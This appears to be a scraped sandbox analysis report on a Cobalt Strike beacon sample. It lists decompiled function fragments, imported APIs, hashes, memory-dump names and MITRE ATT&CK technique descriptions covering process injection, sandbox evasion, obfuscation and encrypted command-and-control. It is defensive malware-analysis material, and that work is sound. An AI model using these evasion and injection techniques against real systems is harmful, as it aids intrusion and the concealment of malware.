Function 004014F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00401506
GetProcAddress.KERNEL32 ref: 00401523

Strings

.`D, xrefs: 00401518

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: .`D
API String ID: 1646373207-3655228630
Opcode ID: 88c8d35e227f0babbe9269d747f70db4a6cc293fe36ae206c78f73c266ab09b4
Instruction ID: b5fd6ca372b8b177902123a9b213ac692bdf94222f397c91c8a9391aa23804b2
Opcode Fuzzy Hash: 88c8d35e227f0babbe9269d747f70db4a6cc293fe36ae206c78f73c266ab09b4
Instruction Fuzzy Hash: 7DE012796047015BD7107B78AD0931FBEF4AB82345F85843DD8829B259EB78C846C75B

Uniqueness

Uniqueness Score: -1.00%

Function 00867B0A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00867B0A(void* __esi, void* __eflags) {
				void* __edi;
				void* _t162;
				void* _t177;
				intOrPtr* _t178;
				void* _t185;
				intOrPtr _t186;
				intOrPtr _t191;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t196;

				L0:
				while(1) {
					_t196 = __eflags;
					E0087C290(_t185, _t193 + 0x34, 0, _t185);
					_t177 = _t193 + 0x44;
					E008668FB(_t177, _t196, _t193 + 0x2c, _t185);
					_t178 =  *((intOrPtr*)(_t192 + 0xc));
					_push(_t177);
					_t162 = E008749A6(_t185, __esi,  *((intOrPtr*)(_t178 + 0x1c)), _t185, "%s%s\r\n",  *_t178);
					_t194 = _t193 + 0x28;
					while(1) {
						L24:
						_t186 =  *_t178;
						while(1) {
							L48:
							_t191 =  *((intOrPtr*)(_t178 + 0x1c));
							L49:
							asm("sbb al, 0xb9");
						}
					}
				}
			}

0x00867b0a
0x00867b0a
0x00867b0a
0x00867b12
0x00867b1d
0x00867b21
0x00867b28
0x00867b2b
0x00867b37
0x00867b3c
0x00867a31
0x00867a31
0x00867a31
0x00867c26
0x00867c26
0x00867c26
0x00867c28
0x00867c28
0x00867c28
0x00867c26
0x00867a31

APIs

_memset.LIBCMT ref: 00867B12
__snprintf.LIBCMT ref: 00867B37

Strings

%s%s, xrefs: 00867B2E

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s%s
API String ID: 2657849664-3438391663
Opcode ID: 5af34f11df55b66bf062585eaa491b5e1d1a0de332e9137319787dfa1a90585a
Instruction ID: 866dad1bc56cab820073fe6685bdfa1966b7e54c4df38b644ff7278085044071
Opcode Fuzzy Hash: 5af34f11df55b66bf062585eaa491b5e1d1a0de332e9137319787dfa1a90585a
Instruction Fuzzy Hash: 95E0C272204348BBC700FE98CCC2E5B37BCFB89B00F004128B648D6066E230DA14C763

Uniqueness

Uniqueness Score: -1.00%

Function 00402A70, Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00402A8F
free.MSVCRT ref: 00402ADF
LeaveCriticalSection.KERNEL32 ref: 00402AEB

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 0d95821322d2e9c0cdcd06910b98ad5eeb1219f1862811cc8255d6b5fc61ca2a
Instruction ID: d43aa69950f06f994d5e79cda043d869610a9fb6f97c549190e8809ed3d9d465
Opcode Fuzzy Hash: 0d95821322d2e9c0cdcd06910b98ad5eeb1219f1862811cc8255d6b5fc61ca2a
Instruction Fuzzy Hash: 0C0196757082018FD710BF68DA8841A7BE1BB41300B54857EDC45D73C5EFB89855DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402970, Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0040297E
TlsGetValue.KERNEL32 ref: 004029A5
GetLastError.KERNEL32 ref: 004029AC
LeaveCriticalSection.KERNEL32 ref: 004029CC

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 2933dc2a9214a35927c3e0fb045941c75ea289689b05867a529dc7a21ee74c80
Instruction ID: e07ee98330bb5a90b23b0021ac0ee7d237a65017d090dee212112f87894077b5
Opcode Fuzzy Hash: 2933dc2a9214a35927c3e0fb045941c75ea289689b05867a529dc7a21ee74c80
Instruction Fuzzy Hash: CDF0A4B6A007048FD7107F78DA8851B7FA4AB45340F05057ADD845B344DB74A81ACBAA

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report beacon.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: CobaltStrike

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

System Behavior

Function 008623B7, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169
networkfileCOMMON

Function 00401180, Relevance: 19.7, APIs: 13, Instructions: 199
sleeplibrarystringCOMMON

Function 008664B3, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124
COMMON

Function 0086B113, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMON

Function 00401840, Relevance: 22.8, APIs: 3, Strings: 10, Instructions: 31
threadCOMMON

Function 0086660D, Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Function 00861F64, Relevance: 9.1, APIs: 6, Instructions: 114
networkCOMMON

Function 0086131B, Relevance: 7.7, APIs: 5, Instructions: 225
COMMON

Function 00869F9E, Relevance: 6.1, APIs: 4, Instructions: 102
COMMON

Function 0086707E, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Function 008687DA, Relevance: 4.5, APIs: 3, Instructions: 44
fileCOMMON

Function 008625A5, Relevance: 3.0, APIs: 2, Instructions: 41
networkCOMMON

Function 00862634, Relevance: 3.0, APIs: 2, Instructions: 25
networkCOMMON

Function 0086715A, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Function 0086CE6A, Relevance: 1.8, APIs: 1, Instructions: 257
COMMON

Function 00870087, Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Function 008762A8, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 00879475, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 0086432A, Relevance: 1.3, APIs: 1, Instructions: 21
sleepCOMMON

Function 00864023, Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 172
filetimeCOMMON

Function 008684C1, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155
processCOMMON

Function 00865120, Relevance: 9.1, APIs: 6, Instructions: 93
memoryinjectionCOMMON

Function 00862CE5, Relevance: 9.1, APIs: 6, Instructions: 68
sleepnetworkCOMMON

Function 00866A49, Relevance: 9.1, APIs: 6, Instructions: 54
networkCOMMON

Function 00863889, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Function 0087E2E1, Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Function 0087C09E, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Function 0086AF43, Relevance: 7.5, APIs: 5, Instructions: 46
networkCOMMON

Function 00862FCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75
COMMON

Function 0086AB5E, Relevance: 6.1, APIs: 4, Instructions: 89
COMMON

Function 00866401, Relevance: 6.1, APIs: 4, Instructions: 63
sleepnetworkCOMMON

Function 00864D53, Relevance: 4.6, APIs: 3, Instructions: 57
memoryinjectionCOMMON

Function 0086AD18, Relevance: 4.5, APIs: 3, Instructions: 42
memoryCOMMON

Function 00883330, Relevance: 4.4, Strings: 3, Instructions: 612
COMMONCrypto

Function 00866D81, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 199
networkCOMMON

Function 00863687, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
processCOMMON

Function 00862185, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 147
networksleepCOMMON

Function 00864DDE, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 114
threadsleepprocessCOMMON

Function 00401E50, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 185
fileCOMMON

Function 0086AA35, Relevance: 19.6, APIs: 13, Instructions: 105
COMMON

Function 00865F54, Relevance: 19.6, APIs: 13, Instructions: 94
pipesleepfileCOMMON

Function 00862DA1, Relevance: 16.6, APIs: 11, Instructions: 103
sleepfilepipeCOMMON